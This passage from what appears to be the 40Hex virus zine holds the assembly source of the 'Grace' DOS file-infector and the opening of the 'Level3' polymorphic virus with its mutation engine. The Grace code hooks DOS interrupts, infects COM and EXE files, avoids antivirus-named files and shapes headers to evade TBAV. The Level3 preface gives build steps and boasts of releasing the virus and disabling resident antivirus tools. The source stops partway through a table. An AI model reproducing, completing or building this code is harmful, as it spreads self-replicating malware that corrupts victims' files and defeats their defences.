|
||
; is issued, control is passed to the virus. Now let's split.
|
||
|
||
xor si, si ; zero si since we've relocated
|
||
bail: mov es, bp ; restore to ES the PSP segment
|
||
push cs ; and let DS be our CS
|
||
pop ds
|
||
add si, offset old_shit ; point SI to our old data
|
||
gl: jo exit_exe ; JO changed to JMP in EXE
|
||
mov di, 0100h ; COMs always start execution
|
||
add sp, 2
|
||
push bp ; at PSP:100h
|
||
push di
|
||
movsw ; restore host's original 5
|
||
movsw
|
||
movsb
|
||
jmp short zero_shit ; split
|
||
exit_exe: add bp, 10h
|
||
lodsw
|
||
add ax, bp
|
||
xchg ax, bx
|
||
lodsw
|
||
pop di
|
||
relo_stuff: mov ss, bx
|
||
xchg ax, sp
|
||
lodsw ; now get the starting address
|
||
xchg ax, bx ; from where we've stored it.
|
||
lodsw
|
||
add ax, bp
|
||
mov ds, cx
|
||
xchg si, di ; DS:SI = relocation table
|
||
push ax ; push exe CS:IP onto stack...
|
||
push bx
|
||
lodsw ; # of relocation items
|
||
xchg cx, ax
|
||
jcxz rldone
|
||
relo_loop: lodsw ; relocate them...
|
||
xchg ax, di
|
||
lodsw
|
||
add ax, bp
|
||
mov es, ax
|
||
add word ptr es:[di], bp
|
||
loop relo_loop
|
||
rldone: sub bp, 10h
|
||
zero_shit: xor ax, ax ; clean our hands
|
||
mov bx, ax
|
||
mov cx, ax
|
||
cwd
|
||
mov si, ax
|
||
mov di, ax
|
||
mov ds, bp ; DS=ES=PSP ..
|
||
mov es, bp
|
||
mov bp, ax ; everything = 0...
|
||
retf ; I didn't see nothin!
|
||
|
||
old_shit: int 20h ; 4 words to store either the
|
||
dw 0,0,0 ; old EXE header values or the
|
||
; old COM header info.
|
||
|
||
db '-[Grace] by T<>L<EFBFBD>N 94-'
|
||
|
||
;
|
||
; end of installation routine.
|
||
;
|
||
;------------------------------------------------------------------------------
|
||
;
|
||
; The 'Have a nice DOS!' or 'Have a nice piss-up!' effect.
|
||
;
|
||
|
||
hahaha: in al, 40h
|
||
cmp al, 0e0
|
||
jbe ha_ex
|
||
push bx
|
||
push dx
|
||
push ds
|
||
mov ah, 0fh
|
||
int 10h ; get video mode
|
||
xor ah, ah
|
||
int 10h ; clear that mode's screen
|
||
mov ah, 2
|
||
xor dx, dx
|
||
int 10h
|
||
push cs
|
||
pop ds
|
||
mov ah, 9
|
||
mov dx, offset msg ; print the msg
|
||
call i21
|
||
in al, 40h
|
||
xchg ah, al
|
||
in al, 40h
|
||
xor al, ah
|
||
cmp al, 0a0h
|
||
jbe nicedos
|
||
mov dx, offset XXXX
|
||
jmp short prp
|
||
nicedos: mov dx, offset doss
|
||
prp: mov ah, 9
|
||
call i21
|
||
pop ds
|
||
pop dx
|
||
pop bx
|
||
ha_ex: jmp short yeppo
|
||
|
||
db 'You make me sick I make viruses'
|
||
|
||
;------------------------------------------------------------------------------
|
||
|
||
new21: cmp ax, @tsrchk ; is it us checking residence?
|
||
jne n2
|
||
mov bx, ax ; yep, make BX = AX
|
||
iret ; and return from interrupt.
|
||
n2: push ax
|
||
xchg ah, al
|
||
cmp al, 3dh ; OPEN?
|
||
je letsgo
|
||
cmp al, 43h ; ATTRIB?
|
||
je letsgo
|
||
cmp al, 4bh ; EXEC?
|
||
je letsgo
|
||
cmp al, 4ch ; EXIT?
|
||
je hahaha
|
||
cmp al, 56h ; RENAME?
|
||
je letsgo
|
||
cmp al, 6ch ; EXT_OPEN?
|
||
jne yeppo
|
||
push dx
|
||
mov dx, si
|
||
call infect
|
||
pop dx
|
||
jmp short yeppo
|
||
letsgo: call infect ; call the infection routine
|
||
yeppo: pop ax ; restore AX
|
||
n21_2: jmp dword ptr cs:[old21] ; and act as if nothing's up
|
||
|
||
new24: mov al, 3 ; a cool critical error handler
|
||
iret
|
||
|
||
file_end: mov ax, 4202h ; some internal virus functions
|
||
jmp short seek_vals
|
||
file_zero: mov ax, 4200h
|
||
seek_vals: xor cx, cx
|
||
xor dx, dx
|
||
i21: pushf ; simulate an int 21h
|
||
push cs
|
||
call n21_2
|
||
ret
|
||
|
||
; the working horse of the virus.
|
||
|
||
infect: push ax ; save all the registers
|
||
push bx ; that we'll be screwing with
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
; now, we need to save the name of the file we're dealing with at a permanent
|
||
; location so that it's easier to reference. We also need to check to see if
|
||
; it's an invalid filename (ie. contains SC (eg Scan), CL (clean) etc etc.).
|
||
|
||
push cs
|
||
pop es
|
||
mov di, offset filename
|
||
mov si, dx ; on all the above calls,
|
||
; DS:DX points to the filename.
|
||
; we put it in SI for the LODSB
|
||
; instruction.
|
||
storename: lodsb ; [DS:SI] -> AL
|
||
stosb ; AL -> [ES:DI]
|
||
or al, al ; is it 0 (end of ASCIIZ string)?
|
||
jnz storename ; if not, keep going
|
||
|
||
push cs ; toss out old data segment,
|
||
pop ds ; we don't need it now.
|
||
|
||
; now we check the name and the extension.
|
||
; [this could do with a rewrite]..
|
||
|
||
mov dx, di
|
||
sub dx, 4 ; DX points to extension
|
||
lea si, [di-12] ; SI = DI - 12
|
||
cmp si, offset filename+1 ; is it too far back?
|
||
jae kkk1
|
||
mov si, offset filename+1 ; yep, point it right
|
||
kkk1: dec si
|
||
cmp si, dx ; is SI up to extension yet?
|
||
je kkk2
|
||
lodsw ; no, check the word at SI...
|
||
and ax, 0dfdfh ; capitalize the letters
|
||
push di
|
||
mov di, offset fucks
|
||
mov cx, @fucks ; 4 things to check for...
|
||
repne scasw ; this is:
|
||
; "keep comparing AX to [ES:DI]
|
||
; while AX <> [ES:DI] or until
|
||
; CX = 0. ie find if AX matches
|
||
; any of the disallowed things.
|
||
pop di
|
||
jne kkk1 ; try next 2 if no match..
|
||
jmp short ncexit_err ; otherwise we don't infect.
|
||
|
||
kkk2: mov di, offset exts ; valid extensions
|
||
mov cx, @exts
|
||
cld
|
||
lodsw
|
||
and ax, 0dfdfh ; -> uppercase
|
||
extchk: scasw ; does AX match extension?
|
||
je extchk_2
|
||
inc di ; nope, try next extension
|
||
loop extchk ; loop until cx=0
|
||
ncexit_err: jmp bitch ; .. if not valid extension,
|
||
; terminate infection routine
|
||
|
||
extchk_2: lodsb ; otherwise check 3rd byte
|
||
and al, 0dfh
|
||
scasb
|
||
jne ncexit_err
|
||
|
||
; set int 24h to our own so we don't get annoying "Write protect error" etc.
|
||
|
||
set24: mov ax, 3524h ; get int 24h vector
|
||
call i21
|
||
push es ; save it on the stack
|
||
push bx
|
||
mov dx, offset new24
|
||
mov ax, 2524h ; set int 24h vector
|
||
call i21
|
||
push cs
|
||
pop es
|
||
|
||
; now set the file attributes to zero...
|
||
|
||
setattrib: mov ax, 4300h ; AX=4300h, Get attribs of file
|
||
mov dx, offset filename ; DS:DX, filename
|
||
call i21
|
||
push cx ; ..save them..
|
||
mov ax, 4301h
|
||
xor cx, cx
|
||
call i21 ; and zero them out.
|
||
jc bitch1 ; if error, bail ...
|
||
|
||
; now we can safely open the file.
|
||
|
||
mov ax, 3d02h ; open file, read/write access
|
||
call i21
|
||
xchg ax, bx ; put file handle into bx
|
||
mov ax, 5700h ; get the file's date/time
|
||
call i21
|
||
push cx
|
||
push dx
|
||
|
||
; check to see if the file is a COM or an EXE, according to its hdr structure.
|
||
|
||
call file_zero ; seek to beginning of file
|
||
mov ah, 3fh
|
||
mov cx, 26
|
||
mov dx, offset signature
|
||
call i21 ; read 24 bytes (header info)
|
||
|
||
xor ax, cx ; bail if < 26 bytes read
|
||
jnz bitch2
|
||
|
||
mov ax, @marker ; is there an infection marker?
|
||
cmp word ptr [signature+3], ax ; [com]
|
||
je bitch2 ; yep, it's already infected
|
||
cmp word ptr [chksum], ax ; [exe]
|
||
je bitch2
|
||
|
||
mov si, dx
|
||
lodsb
|
||
cmp al, 'M' ; EXEs start with MZ or ZM
|
||
je goexe
|
||
cmp al, 'Z'
|
||
je goexe
|
||
call cominf ; otherwise it's a COM file
|
||
jmp short write_hdr
|
||
goexe: call exeinf
|
||
write_hdr: call file_zero ; seek to start of file
|
||
mov ah, 40h
|
||
mov cx, 26
|
||
mov dx, offset signature
|
||
call i21 ; write patched header
|
||
|
||
bitch2: pop dx ; restore the file's date/time
|
||
pop cx
|
||
mov ax, 5701h
|
||
call i21
|
||
|
||
mov ah, 3eh ; and close it.
|
||
call i21
|
||
|
||
bitch1: pop cx ; restore file's original
|
||
mov ax, 4301h ; file attributes
|
||
mov dx, offset filename
|
||
call i21
|
||
|
||
pop dx ; get original i24h
|
||
pop ds
|
||
mov ax, 2524h
|
||
call i21 ; and reinstate it
|
||
|
||
bitch: pop es ; restore all the registers...
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret ; and exit the infect routine.
|
||
|
||
cominf: mov di, offset old_shit
|
||
stosb
|
||
movsw ; save first 5 bytes
|
||
movsw
|
||
call file_end
|
||
or dx, dx ; COM >64k?
|
||
jnz com_done
|
||
cmp ax, 0f800h ; COM >60k?
|
||
jae com_done
|
||
push ax
|
||
mov byte ptr [gl], @JO
|
||
mov word ptr [k1+1], 0
|
||
; we need a random value between 5 and (eof-v_len)
|
||
sub ax, (v_len)+5
|
||
jc com_done2
|
||
call rnd_num
|
||
add ax, 105h ; DX:AX is file offset of virus
|
||
mov word ptr [k2+1], ax
|
||
dec ah
|
||
push ax
|
||
call file_end
|
||
add ax, v_len + k_len + 100h
|
||
mov word ptr [k3+1], ax
|
||
pop ax
|
||
stc
|
||
call write_us
|
||
mov di, offset signature
|
||
mov al, 0e9h ; now build us a JMP
|
||
stosb
|
||
pop ax
|
||
dec ax ; ...
|
||
dec ax
|
||
dec ax
|
||
stosw
|
||
mov ax, @marker ; put in the infection marker
|
||
stosw
|
||
com_done: ret
|
||
com_done2: pop ax
|
||
ret
|
||
|
||
; this EXE infection is quite exhaustive in order to screw up the least amount
|
||
; of EXE files possible. A virus shows itself up when it wrecks things ..
|
||
; therefore it makes sense not to wreck things, hmm?
|
||
|
||
exeinf: ; we have to check for internal overlays
|
||
; if present, don't infect the file
|
||
call file_end
|
||
push ax ; check for internal overlays
|
||
push dx
|
||
mov ax, word ptr [page_cnt] ; calculate how big the code
|
||
mov cx, 512 ; part of the EXE is, according
|
||
mul cx ; to its header info ...
|
||
pop cx
|
||
pop bp
|
||
cmp ax, bp ; and compare it to the actual
|
||
jb com_done ; file's size.
|
||
cmp dx, cx ; if calc<actual then it must have
|
||
jb com_done ; internal overlays -- bail.
|
||
|
||
; store the old SS:SP, CS:IP
|
||
|
||
mov di, offset old_shit
|
||
mov si, offset relo_ss
|
||
movsw
|
||
movsw
|
||
lodsw
|
||
movsw
|
||
movsw
|
||
|
||
; append k_code to EOF & find a block to move as well...
|
||
|
||
call file_end
|
||
mov byte ptr [gl], @JMPS
|
||
mov cx, 10h ; # of paragraphs in whole file
|
||
div cx
|
||
sub ax, word ptr [hdr_size] ; except the header
|
||
mov word ptr [relo_cs], ax
|
||
dec ax
|
||
mov word ptr [relo_ss], ax
|
||
mov word ptr [exe_ip], dx
|
||
push dx
|
||
xchg ax, dx
|
||
add ax, v_len + ek_len + k_len
|
||
mov word ptr [k3+1], ax
|
||
mov word ptr [ek1+1], ax
|
||
|
||
; the minmem/maxmem stuff is not really necessary to the
|
||
; viability of infection, but TBAV screams if the header
|
||
; isn't perfect. One less thing for TBAV to pick up...
|
||
|
||
mov ax, -10240/16 ; a -ve value to save code
|
||
cmp word ptr [minmem], ax ; (hehe is 10k enough??)
|
||
jae di0
|
||
sub word ptr [minmem], ax ; subtract -ve = add
|
||
di0: cmp word ptr [maxmem], ax
|
||
jae dont_inc
|
||
sub word ptr [maxmem], ax
|
||
dont_inc: pop ax
|
||
add ax, v_len + ek_len + k_len + s_len + 10h
|
||
mov cx, word ptr [relocnt]
|
||
shl cx, 1
|
||
shl cx, 1
|
||
add ax, cx
|
||
shr ax, 1 ; make SP even
|
||
shl ax, 1
|
||
mov word ptr [exe_sp], ax
|
||
|
||
call file_end ; calculate the size of the file
|
||
push dx ; minus the header
|
||
push ax
|
||
mov ax, word ptr [hdr_size]
|
||
mov dx, 10h
|
||
mul dx
|
||
mov word ptr [hdr], ax
|
||
mov word ptr [hdr+2], dx
|
||
pop ax
|
||
sub ax, word ptr [hdr]
|
||
pop dx
|
||
sbb dx, word ptr [hdr+2]
|
||
sub ax, v_len
|
||
sbb dx, 0
|
||
call rnd_num ; & select a random # in that range
|
||
push ax
|
||
push dx
|
||
mov cx, 10h
|
||
div cx
|
||
add ax, 10h
|
||
mov word ptr [k1+1], ax
|
||
mov word ptr [k2+1], dx
|
||
pop dx
|
||
pop ax
|
||
add ax, word ptr [hdr]
|
||
adc dx, word ptr [hdr+2]
|
||
clc
|
||
call write_us
|
||
|
||
mov cx, 512 ; calculate new # of code pages
|
||
div cx
|
||
or dx, dx ; any bits left over?
|
||
jz fp2
|
||
inc ax ; yes, inc # pages
|
||
fp2: mov word ptr [part_page], dx ; update the info
|
||
mov word ptr [page_cnt], ax
|
||
mov word ptr [chksum], @marker ; tag as infected
|
||
ret
|
||
|
||
write_us: ; calling parameters:
|
||
; k1, k2 and k3 have been taken care of
|
||
; DX:AX contains file offset of part to save & overwrite
|
||
; this routine was once simple, but programming nightmares
|
||
; caused it to get cancerous outgrowths.
|
||
; (although i prefer not to call my programming a cancerous
|
||
; outgrowth)...
|
||
pushf
|
||
mov cx, dx
|
||
xchg ax, dx
|
||
mov ax, 4200h
|
||
call i21 ; seek to this area
|
||
popf
|
||
push ax
|
||
push dx
|
||
mov dx, offset load
|
||
mov cx, v_len
|
||
push cx
|
||
push dx
|
||
mov ah, 3fh
|
||
pushf
|
||
call i21 ; read old contents
|
||
call file_end
|
||
mov cx, k_len
|
||
mov dx, offset k_kode
|
||
popf
|
||
pushf
|
||
jc wu2
|
||
; deviation for exe files
|
||
add cx, ek_len
|
||
mov dx, offset ek_kode
|
||
wu2: mov ah, 40h
|
||
call i21 ; write the entry beast
|
||
popf
|
||
pop dx
|
||
pop cx
|
||
pushf
|
||
mov ah, 40h
|
||
call i21 ; write the displaced code
|
||
popf
|
||
pop cx
|
||
pop dx
|
||
pushf
|
||
mov ax, 4200h
|
||
call i21 ; seek to area we got it from
|
||
mov ah, 40h
|
||
mov cx, v_len
|
||
xor dx, dx
|
||
call i21 ; & write over it with ourself
|
||
call file_end
|
||
popf
|
||
jc wuret
|
||
; write the EXE header to EOF
|
||
mov ah, 40h
|
||
mov cx, 2
|
||
mov dx, offset relocnt
|
||
call i21
|
||
xor cx, cx
|
||
mov dx, word ptr [tabloff]
|
||
mov ax, 4200h
|
||
call i21 ; seek to reloc'n table start
|
||
mov cx, word ptr [relocnt]
|
||
shl cx, 1
|
||
shl cx, 1
|
||
jcxz reloend
|
||
|
||
move_reloc: push bp ; moves the relocation table
|
||
push ax ; to EOF...
|
||
push dx
|
||
mov ax, 3072 ; = size of blocks to move
|
||
mov bp, ax ; (3k at a time)
|
||
cmp cx, ax
|
||
jb mr2
|
||
mov word ptr [mr1+1], ax
|
||
sub cx, ax
|
||
pop dx
|
||
pop ax
|
||
add ax, bp
|
||
adc dx, 0
|
||
push ax
|
||
push dx
|
||
push cx
|
||
jmp $+2 ; clear the prefetch queue
|
||
mr1: mov cx, 0
|
||
mr2: mov ah, 3fh
|
||
mov dx, offset load
|
||
push dx
|
||
call i21
|
||
push ax
|
||
call file_end
|
||
pop cx
|
||
mov ah, 40h
|
||
pop dx
|
||
call i21
|
||
pop cx
|
||
jcxz reloend2
|
||
mov bp, cx
|
||
pop cx
|
||
pop dx
|
||
mov ax, 4200h
|
||
call i21
|
||
mov cx, bp
|
||
pop bp
|
||
jmp short move_reloc
|
||
reloend2: pop bp
|
||
pop bp
|
||
reloend: mov word ptr [relocnt], 0
|
||
call file_end
|
||
mov ah, 40h
|
||
mov cx, s_len
|
||
call i21 ; add a stack
|
||
call file_end
|
||
wuret: ret ; and return.
|
||
|
||
rnd_num: ; calling parameters:
|
||
; DX:AX contains dword, highest # allowed
|
||
; returns:
|
||
; DX:AX the selected offset
|
||
; CX destroyed
|
||
push dx
|
||
push ax
|
||
xor ax, ax ; get an arbitrary number
|
||
int 1ah
|
||
xchg cx, dx
|
||
pop ax
|
||
pop dx
|
||
or dx, dx ; is DX:AX <64k?
|
||
jnz rn2
|
||
rn1: cmp ax, cx ; is denominator bigger than
|
||
jnb rn2 ; the numerator?
|
||
shr cx, 1
|
||
jmp short rn1
|
||
rn2: div cx ; divide DX:AX by CX
|
||
mul cx ; and multiply again
|
||
ret ; (got rid of remainder)
|
||
|
||
; data ..
|
||
|
||
msg db 'Have a nice $'
|
||
XXXX db 'piss-up!',0d,0a,'$' ; sink some XXXX ales..
|
||
doss db 'DOS!',0d,0a,'$'
|
||
|
||
fucks db 14h,'DCOSCCLVSF-' ; invalid words in filename
|
||
;^^^ this is '4' AND 0DFh, to fit in with capitalization routine
|
||
@fucks equ ($-fucks)/2
|
||
|
||
exts db 'COMEXE' ; valid extensions
|
||
@exts equ ($-exts)/3
|
||
|
||
;------------------------------------------------------------------------------
|
||
|
||
; This is the actual entry point of the infected file.
|
||
; Its job is to relocate the actual virus from elsewhere in the file
|
||
; and patch up the area where the virus was with the old data.
|
||
|
||
ek_kode: mov bp, ds ;2 ; this is only written on EXE infection
|
||
push cs ;1
|
||
pop ds ;1
|
||
push cs ;1
|
||
pop es ;1
|
||
ek1: mov si, 0 ;3 ; same as k3
|
||
lodsw ;1 ; first word = # of relocation items
|
||
shl ax, 1 ;2
|
||
shl ax, 1 ;2
|
||
add si, ax ;2
|
||
lea di, [si+v_len] ;4 ; where to reloc'n items to
|
||
lea sp, [di+s_len+10h] ;3
|
||
push ax ;1
|
||
xchg ax, cx ;1
|
||
std ;1
|
||
jcxz ekdone ;2
|
||
rep movsb ;2 ; move the relocation table
|
||
movsb ;1
|
||
ekdone: movsb ;1
|
||
movsb ;1
|
||
cld ;1
|
||
mov ds, bp ;2
|
||
|
||
k_kode: mov ax, ds ;2
|
||
mov bp, ax ;2
|
||
k1: add ax, 0 ;3 ; seg displacement of virus code
|
||
mov ds, ax ;2
|
||
k2: mov si, 0 ;3 ; ofs displacement of virus code
|
||
push cs ;1
|
||
pop es ;1
|
||
k3: mov di, 0 ;3 ; where we want to move it
|
||
mov cx, v_len ;3
|
||
rep movsb ;2
|
||
push ds ;1 ; now we restore the old data
|
||
push es ;1
|
||
pop ds ;1 ; exchange the segments
|
||
pop es ;1
|
||
xchg si, di ;2 ; and pointers
|
||
mov ax, v_len ;3
|
||
sub si, ax ;2 ; and adjust them
|
||
sub si, ax ;2
|
||
push si ;1
|
||
sub di, ax ;2
|
||
xchg ax, cx ;1
|
||
push cx ;1
|
||
rep movsb ;2
|
||
push cs ;1 ; now it's done.. make segs ours..
|
||
pop es ;1
|
||
pop cx ;1
|
||
pop di ;1
|
||
rep movsb ;2 ; copy virus code to v_end...
|
||
jmp $+2 ;2 ; and clear processor's prefetch queue
|
||
xchg si, di ;2 ; si points to virus code
|
||
; di points to relocation info
|
||
;52 bytes
|
||
v_end:
|
||
|
||
;------------------------------------------------------------------------------
|
||
;
|
||
; data which needn't be carried around when the virus spreads.
|
||
;
|
||
|
||
old21 equ $
|
||
|
||
hdr equ old21 + 4 ; store for calc'd length of EXE header
|
||
reloc equ hdr + 4 ; temp store for relocation data in EXE
|
||
signature equ reloc + 4 ; where we load the host file's header
|
||
part_page equ signature + 2 ; part-page at EOF ((this is for EXE header))
|
||
page_cnt equ part_page + 2 ; count of code pages
|
||
relocnt equ page_cnt + 2 ; # of relocation items in table
|
||
hdr_size equ relocnt + 2 ; size of header in paragraphs
|
||
minmem equ hdr_size + 2 ; minimum memory required
|
||
maxmem equ minmem + 2 ; maximum memory required
|
||
relo_ss equ maxmem + 2 ; displacement of stack segment (SS)
|
||
exe_sp equ relo_ss + 2 ; stack pointer (SP)
|
||
chksum equ exe_sp + 2 ; infection marker in EXEs
|
||
exe_ip equ chksum + 2 ; instruction pointer (IP)
|
||
relo_cs equ exe_ip + 2 ; displacement of code segment (CS)
|
||
tabloff equ relo_cs + 2 ; offset of EXE relocation table
|
||
; 26 bytes for EXE header
|
||
oldss equ tabloff + 2
|
||
oldsp equ oldss + 2
|
||
filename equ oldsp + 2 ; filename of target file
|
||
|
||
v_len equ v_end - v_start
|
||
|
||
;
|
||
; the end.
|
||
;
|
||
;------------------------------------------------------------------------------
|
||
|
||
40Hex Number 14 Volume 5 Issue 1 File 010
|
||
|
||
comment %
|
||
|
||
Dear Virus Friends,
|
||
|
||
dis is so far my latest production.
|
||
It is a polymorphic virus that uses some stealth techniques.
|
||
After execution of infected file, it goes memory-resident and hits com'n'exe
|
||
on execution or creation.
|
||
There are two interesting features to this.
|
||
First it is the polymorphic engine that generates two-phase decrypting routine.
|
||
First phase consists of various instructions, among them some decrypt phase two.
|
||
Phase two is a regular cyclical decryptor. (By altering phase two you probably
|
||
can avoid detection by the virus scanners.)
|
||
Second feature is demobilising of resident virus utilities (see source code
|
||
of function "eliminate_av" for further details).
|
||
Well, after I planted this virus in the field, I was told it does not run
|
||
on 486s. The problem is that prefetch queue is longer on 486 than on my home
|
||
machine and that's why self modyfying code does not work. Well, sorry for
|
||
that, I really didn't mean to.
|
||
To correct this problem, follow the instructions in the source code
|
||
marked by "#####".
|
||
To get a working copy of original EMM.Level3 virus do the following:
|
||
tasm level3.asm (I used ver. 2.51; do not use /M switch)
|
||
tlink level3.obj (I used ver. 4.00)
|
||
level3.exe
|
||
|
||
Btw, I am Vyvojar, and you may have met Explosion and One Half - the forerunners
|
||
to Level3.
|
||
|
||
(pre SVL: na stretnutie sa tesim :)) - len neviem ako sa skontaktujeme ...
|
||
skuste sa na mna spytat na irc - kanal #virus)
|
||
|
||
%
|
||
|
||
.model small
|
||
.stack 80h
|
||
|
||
host_segment segment
|
||
mov ax,4c00h
|
||
int 21h
|
||
host_segment ends
|
||
|
||
virus_segment segment
|
||
assume cs:virus_segment,ds:virus_segment
|
||
|
||
start_virus label near
|
||
|
||
DEPTH=5*3
|
||
sstack db DEPTH dup(?)
|
||
ssp dw DEPTH ;stack simulation
|
||
|
||
LENOVER=DEPTH ;length of overwritable bytes
|
||
LENVIR=(offset end_virus-offset start_virus)
|
||
LENHBUF=700 ;length of header buffer (for phase 1)
|
||
EXTENTION=(16+LENVIR+LENHBUF) ;by this number infected file grows
|
||
DEPSTACK=80h
|
||
LENFNB=64 ;length of file name buffer
|
||
LENDEC=(edec-sdec) ;decoder length (phase 2)
|
||
MEMPOS=04fbh ;memory location for far jump within segment 0000h
|
||
ORDER=25
|
||
|
||
strc struc ;structure for exe header
|
||
id dw ?
|
||
lpage dw ?
|
||
pages dw ?
|
||
items dw ?
|
||
parps dw ?
|
||
min dw ?
|
||
max dw ?
|
||
vSS dw ?
|
||
vSP dw ?
|
||
flag db ? ;com/exe determination
|
||
db ?
|
||
vIP dw ?
|
||
vCS dw ?
|
||
strc ends
|
||
|
||
bheader strc <1,,,,,,,0,,1,,0,0>
|
||
|
||
v16 dw 16
|
||
v30 dw 30
|
||
v512 dw 512
|
||
|
||
;********************** Explosion's Mutation Machine *********************
|
||
|
||
db '* EMM 1.0 *'
|
||
rnd_get:
|
||
push si
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
db 0b9h
|
||
rnd2 dw ?
|
||
db 0bbh
|
||
rnd1 dw ?
|
||
mov dx,015ah
|
||
mov ax,4e35h
|
||
xchg ax,si
|
||
xchg ax,dx
|
||
test ax,ax
|
||
jz rnd_l1
|
||
mul bx
|
||
rnd_l1: jcxz rnd_l2
|
||
xchg ax,cx
|
||
mul si
|
||
add ax,cx
|
||
rnd_l2: xchg ax,si
|
||
mul bx
|
||
add dx,si
|
||
inc ax
|
||
adc dx,0000h
|
||
mov cs:rnd1,ax
|
||
mov cs:rnd2,dx
|
||
mov ax,dx
|
||
pop cx
|
||
xor dx,dx
|
||
jcxz rdbz ;division by zero
|
||
div cx
|
||
jmp short danilak_vyskumnik
|
||
rdbz: xchg dx,ax ;if dx=0 on input then interval 0-ffff
|
||
danilak_vyskumnik:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop si
|
||
retn
|
||
|
||
registers label near ;flag,value,offset when w=0 (operation with byte)
|
||
rax db 3 dup(?),(offset rax-offset registers)
|
||
rcx db 3 dup(?),(offset rcx-offset registers)
|
||
rdx db 3 dup(?),(offset rdx-offset registers)
|
||
rbx db 3 dup(?),(offset rbx-offset registers)
|
||
rsp db 3 dup(?),(offset rax-offset registers)
|
||
rbp db 3 dup(?),(offset rcx-offset registers)
|
||
rsi db 3 dup(?),(offset rdx-offset registers)
|
||
rdi db 3 dup(?),(offset rbx-offset registers)
|
||
res db 4 dup(?)
|
||
rflag db 4 dup(?)
|
||
|
||
;bits in flag:
|
||
; 0 = lo part of register set if 1
|
||
; 1 = hi part of register set if 1
|
||
; 2 = don't change value of register if 1 (for sp)
|
||
|
||
fw db ? ;fw=0 when byte operation, fw=1 when word operation
|
||
|
||
choose:
|
||
push ax ;selection of routine according to the table
|
||
push cx ;ds:si points to the table
|
||
push dx ;table is in the format: byte/probability
|
||
push si ; word/adr of routine
|
||
xor cx,cx ;table ends with 0ffh
|
||
take_next: lodsb
|
||
cbw
|
||
add cx,ax
|
||
cmp al,0ffh
|
||
lodsw
|
||
jne take_next
|
||
inc cx ;subtract 0ffffh
|
||
pop si
|
||
mov dx,cx
|
||
call rnd_get
|
||
try_next: lodsb
|
||
cbw
|
||
sub cx,ax
|
||
lodsw
|
||
cmp dx,cx
|
||
jb try_next
|
||
xchg si,ax
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
jmp si ;jump to the selected routine
|
||
|
||
getaddr: ;get addr of reg within registers table
|
||
push ax
|
||
push bx
|
||
mov si,dx
|
||
shl si,1
|
||
shl si,1
|
||
mov bx,offset registers
|
||
add si,bx
|
||
mov ch,3 ;mask for word register
|
||
cmp fw,0
|
||
jne chsl
|
||
add si,3
|
||
lodsb
|
||
cbw
|
||
xchg si,ax
|
||
add si,bx
|
||
dec ch ;mask for hi byte of reg
|
||
test dl,04h
|
||
jnz chsl
|
||
dec ch ;mask for lo byte of reg
|
||
chsl: pop bx
|
||
pop ax
|
||
retn
|
||
|
||
gregl: ;select target reg (output in dx)
|
||
push cx
|
||
push si
|
||
gregl_other: mov dx,8
|
||
call rnd_get
|
||
call getaddr
|
||
test byte ptr [si],04h ;can I modify value of reg?
|
||
jnz gregl_other
|
||
pop si
|
||
pop cx
|
||
retn
|
||
|
||
gregp: ;select source reg with defined value (output in dx)
|
||
push ax
|
||
xor ah,ah
|
||
jmp short kazisvet_prefikany
|
||
gregls: ;select target reg with defined value (output in dx)
|
||
push ax
|
||
gl108: mov ah,04h
|
||
kazisvet_prefikany:
|
||
push cx
|
||
push si
|
||
push bp
|
||
mov dx,8
|
||
call rnd_get
|
||
mov bp,dx
|
||
xor dx,dx
|
||
mov cl,dl
|
||
grdl1: call getaddr
|
||
lodsb
|
||
test al,ah
|
||
jnz grng1
|
||
and al,03h
|
||
cmp al,03h
|
||
je vrah_pocitacovy_kosicky
|
||
cmp al,ch
|
||
jne grng1
|
||
vrah_pocitacovy_kosicky:
|
||
inc cx
|
||
dec bp
|
||
js tulen_bacil
|
||
grng1: inc dx
|
||
cmp dx,8
|
||
jb grdl1
|
||
or cl,cl
|
||
jnz gra1v
|
||
stc
|
||
jmp short grnv
|
||
gra1v: and dx,07h
|
||
jmp grdl1
|
||
tulen_bacil: clc
|
||
grnv: pop bp
|
||
pop si
|
||
pop cx
|
||
pop ax
|
||
retn
|
||
|
||
wtreg: ;write value into reg
|
||
push cx
|
||
push si
|
||
call getaddr
|
||
inc si
|
||
cmp ch,3
|
||
jne wtw1
|
||
mov [si],ax
|
||
jmp short wtb1
|
||
wtw1: cmp ch,1
|
||
je panko_revizor
|
||
inc si
|
||
panko_revizor: mov [si],al
|
||
wtb1: pop si
|
||
pop cx
|
||
retn
|
||
|
||
rfreg: ;read value from reg
|
||
push cx
|
||
push si
|
||
call getaddr
|
||
inc si
|
||
cmp ch,3
|
||
jne rfw1
|
||
lodsw
|
||
jmp short rfb1
|
||
rfw1: cmp ch,1
|
||
je rfnp
|
||
inc si
|
||
rfnp: lodsb
|
||
rfb1: pop si
|
||
pop cx
|
||
retn
|
||
|
||
shl3fw:
|
||
or al,fw
|
||
shl3dl:
|
||
push dx
|
||
mov cl,3
|
||
shl dl,cl
|
||
or ah,dl
|
||
pop dx
|
||
retn
|
||
|
||
;************************* generating of MOV *********************
|
||
|
||
;generating of mov reg,imm
|
||
mt1:
|
||
call gregl
|
||
push dx
|
||
mov al,fw
|
||
mov cl,3
|
||
shl al,cl
|
||
or al,10110000b
|
||
or al,dl
|
||
stosb
|
||
xor dx,dx
|
||
call rnd_get
|
||
xchg ax,dx
|
||
pop dx
|
||
call wtreg
|
||
call getaddr
|
||
or [si],ch
|
||
cmp ch,3
|
||
jne bt1
|
||
stosw
|
||
jmp wd1
|
||
bt1: stosb
|
||
wd1: retn
|
||
|
||
;generating of mov reg,reg
|
||
mt2:
|
||
call gregp
|
||
jc wd1
|
||
call rfreg
|
||
push ax
|
||
mov ax,1100000010001010b
|
||
or al,fw
|
||
or ah,dl
|
||
mov bx,dx
|
||
nti1: call gregl
|
||
cmp bx,dx
|
||
je nti1
|
||
call shl3dl
|
||
stosw
|
||
pop ax
|
||
call wtreg
|
||
call getaddr
|
||
or [si],ch
|
||
retn
|
||
|
||
chtab00 db 45
|
||
dw offset mt1
|
||
db 45
|
||
dw offset mt2
|
||
db 3
|
||
dw offset mt6
|
||
db 3
|
||
dw offset mt7
|
||
db 1
|
||
